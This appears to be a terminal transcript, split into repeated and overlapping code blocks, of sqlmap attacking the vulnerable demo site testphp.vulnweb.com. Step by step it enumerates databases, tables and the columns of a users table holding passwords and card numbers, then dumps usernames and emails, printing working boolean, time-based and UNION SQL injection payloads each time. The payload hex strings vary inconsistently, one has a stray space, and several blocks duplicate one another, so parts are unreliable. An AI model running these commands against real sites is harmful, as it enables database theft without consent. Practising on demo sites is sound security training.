```
┌──(hacker㉿kali)-[~]
└─$ sqlmap

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). Use -h for basic and -hh for advanced help


┌──(hacker㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not r
esponsible for any misuse or damage caused by this program

[*] starting @ 23:10:30 /2024-09-14/

[23:10:30] [INFO] resuming back-end DBMS 'mysql'
[23:10:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=3 AND 6704=6704

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=3 AND (SELECT 3657 FROM (SELECT(SLEEP(5)))lXTZ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-6463 UNION ALL SELECT CONCAT(0x71786b6b71,0x4f64436f494f4b6b4c7a4c776e42437a4b61644c5370446658786954e6f7278487063514c4b5956,0x71766b6a71),NULL,NULL-- -
---
[23:10:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[23:10:32] [INFO] fetching database names
available databases [2]:
[*] acuart
```

```
[*] acuart
[*] information_schema

[23:10:32] [INFO] fetched data logged to text files under '/home/hacker/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 23:10:32 /2024-09-14/


┌──(hacker㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.7#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not r
esponsible for any misuse or damage caused by this program

[*] starting @ 23:11:45 /2024-09-14/

[23:11:45] [INFO] resuming back-end DBMS 'mysql'
[23:11:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=3 AND 6704=6704

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=3 AND (SELECT 3657 FROM (SELECT(SLEEP(5)))lXTZ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-6463 UNION ALL SELECT CONCAT(0x71786b6b71,0x4f64436f494f4b6b4c7a4c776e42437a4b61644c53704466587869554e6f7278487063514c4b5956,0x71766b6a71),NULL,NULL-- -
---
[23:11:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[23:11:46] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+----------+
| artists  |
| carts    |
| categ    |
| featured |
| guestbook |
```

```
| pictures  |
| products  |
| users     |
+-----------+

[23:11:46] [INFO] fetched data logged to text files under '/home/hacker/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 23:11:46 /2024-09-14/


┌──(hacker㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.7#stable}
|_ -| . ['] |     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not r
esponsible for any misuse or damage caused by this program

[*] starting @ 23:12:23 /2024-09-14/

[23:12:23] [INFO] resuming back-end DBMS 'mysql'
[23:12:23] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=3 AND 6704=6704

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=3 AND (SELECT 3657 FROM (SELECT(SLEEP(5)))lXTZ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-6463 UNION ALL SELECT CONCAT(0x71786b6b71,0x4f64436f494f4b6b4c7a4c776e42437a4b61644c537044665878695554e6f7278487063514c4b5956,0x71766b6a71),NULL,NULL-- -
---
[23:12:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[23:12:25] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+-------------+
| Column  | Type        |
```

```
Table: users
[8 columns]
+---------+-------------+
| Column  | Type        |
+---------+-------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+-------------+

[23:12:25] [INFO] fetched data logged to text files under '/home/hacker/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 23:12:25 /2024-09-14/


┌──(hacker㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not r
esponsible for any misuse or damage caused by this program

[*] starting @ 23:12:48 /2024-09-14/

[23:12:48] [INFO] resuming back-end DBMS 'mysql'
[23:12:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=3 AND 6704=6704

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=3 AND (SELECT 3657 FROM (SELECT(SLEEP(5)))lXTZ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-6463 UNION ALL SELECT CONCAT(0x71786b6b71,0x4f64436f494f4b6b4c7a4c776e42437a4b61644c5370446658786954e6f7278487063514c4b5956,0x71766b6a71),NULL,NULL-- -
---
[23:12:49] [INFO] the back-end DBMS is MySQL
```

```
[23:12:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL ⩾ 5.0.12
[23:12:49] [INFO] fetching entries of column(s) 'uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+
| uname |
+-------+
| test  |
+-------+

[23:12:50] [INFO] table 'acuart.users' dumped to CSV file '/home/hacker/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[23:12:50] [INFO] fetched data logged to text files under '/home/hacker/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 23:12:50 /2024-09-14/


┌──(hacker㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C email --dump

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not r
esponsible for any misuse or damage caused by this program

[*] starting @ 23:13:27 /2024-09-14/

[23:13:27] [INFO] resuming back-end DBMS 'mysql'
[23:13:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=3 AND 6704=6704

    Type: time-based blind
    Title: MySQL ⩾ 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=3 AND (SELECT 3657 FROM (SELECT(SLEEP(5)))lXTZ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-6463 UNION ALL SELECT CONCAT(0x71786b6b71,0x4f64436f494f4b6b4c7a4c776e42437a4b61644c5370446658786955 4e6f7278487063514c4b5956,0x71766b6a71),NULL,NULL-- -
---
[23:13:28] [INFO] the back-end DBMS is MySQL
```

```
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not r
esponsible for any misuse or damage caused by this program

[*] starting @ 23:13:27 /2024-09-14/

[23:13:27] [INFO] resuming back-end DBMS 'mysql'
[23:13:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=3 AND 6704=6704

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=3 AND (SELECT 3657 FROM (SELECT(SLEEP(5)))lXTZ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-6463 UNION ALL SELECT CONCAT(0x71786b6b71,0x4f64436f494f4b6b4c7a4c776e42437a4b61644c53704466587869554e6f7278487063514c4b5956,0x71766b6a71),NULL,NULL-- -
---
[23:13:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[23:13:28] [INFO] fetching entries of column(s) 'email' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+---------------+
| email         |
+---------------+
| email@email.com |
+---------------+

[23:13:30] [INFO] table 'acuart.users' dumped to CSV file '/home/hacker/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[23:13:30] [INFO] fetched data logged to text files under '/home/hacker/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 23:13:30 /2024-09-14/


┌──(hacker㉿kali)-[~]
└─$
```